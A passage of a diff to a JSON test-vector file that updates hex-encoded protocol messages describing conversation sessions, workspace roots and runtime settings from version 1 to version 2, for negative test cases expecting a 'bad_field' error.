6c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303039222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303039222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a33303030302c22746f6f6c556964223a33303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303039222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303039222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d583101010000010000006d0b00007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303039222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303039222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a33303030302c22746f6f6c556964223a33303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303039222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303039222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-empty-list", "direction": "down", - "hex": "574d58310101000001000000f50000007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b5d7d", + "hex": "574d58310101000001000000060100007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b5d7d", "error": "bad_field" }, { "name": "conversations-seventeen-items", "direction": "down", - "hex": "574d58310101000001000000c31f00007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303030222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303030222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030322c22746f6f6c556964223a32303030332c22776f726b7370616365476964223a32353030322c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030342c22746f6f6c556964223a32303030352c22776f726b7370616365476964223a32353030342c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303033222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303033222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030362c22746f6f6c556964223a32303030372c22776f726b7370616365476964223a32353030362c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303034222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303034222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030382c22746f6f6c556964223a32303030392c22776f726b7370616365476964223a32353030382c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303035222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303035222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031302c22746f6f6c556964223a32303031312c22776f726b7370616365476964223a32353031302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303036222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303036222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031322c22746f6f6c556964223a32303031332c22776f726b7370616365476964223a32353031322c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303037222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303037222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031342c22746f6f6c556964223a32303031352c22776f726b7370616365476964223a32353031342c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303038222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303038222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031362c22746f6f6c556964223a32303031372c22776f726b7370616365476964223a32353031362c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303039222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303039222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303031382c22746f6f6c556964223a32303031392c22776f726b7370616365476964223a32353031382c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303130222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303130222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032302c22746f6f6c556964223a32303032312c22776f726b7370616365476964223a32353032302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303131222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303131222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032322c22746f6f6c556964223a32303032332c22776f726b7370616365476964223a32353032322c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303132222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303132222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032342c22746f6f6c556964223a32303032352c22776f726b7370616365476964223a32353032342c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303133222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303133222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032362c22746f6f6c556964223a32303032372c22776f726b7370616365476964223a32353032362c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303134222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303134222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303032382c22746f6f6c556964223a32303032392c22776f726b7370616365476964223a32353032382c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303135222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303135222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303033302c22746f6f6c556964223a32303033312c22776f726b7370616365476964223a32353033302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303136222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303136222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303033322c22746f6f6c556964223a32303033332c22776f726b7370616365476964223a32353033322c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d5d7d", + "hex": "574d58310101000001000000d41f00007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a6e756c6c2c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303030222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303030222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030322c22746f6f6c556964223a32303030332c22776f726b7370616365476964223a32353030322c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303032222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303032222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030342c22746f6f6c556964223a32303030352c22776f726b7370616365476964223a32353030342c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303033222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303033222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030362c22746f6f6c556964223a32303030372c22776f726b7370616365476964223a32353030362c22706f6c696379223a22706c616e222c22726f6f7473223a5b7b226964223a22726f6f742d617070222c22677565737450617468223a222f776f726b73706163652f7265706f732f617070222c22736f75726365223a222f776f726b73706163652f7265706f732f617070222c22726561644f6e6c79223a747275657d5d2c2272756e74696d65223a6e756c6c7d2c7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303034222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303034222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d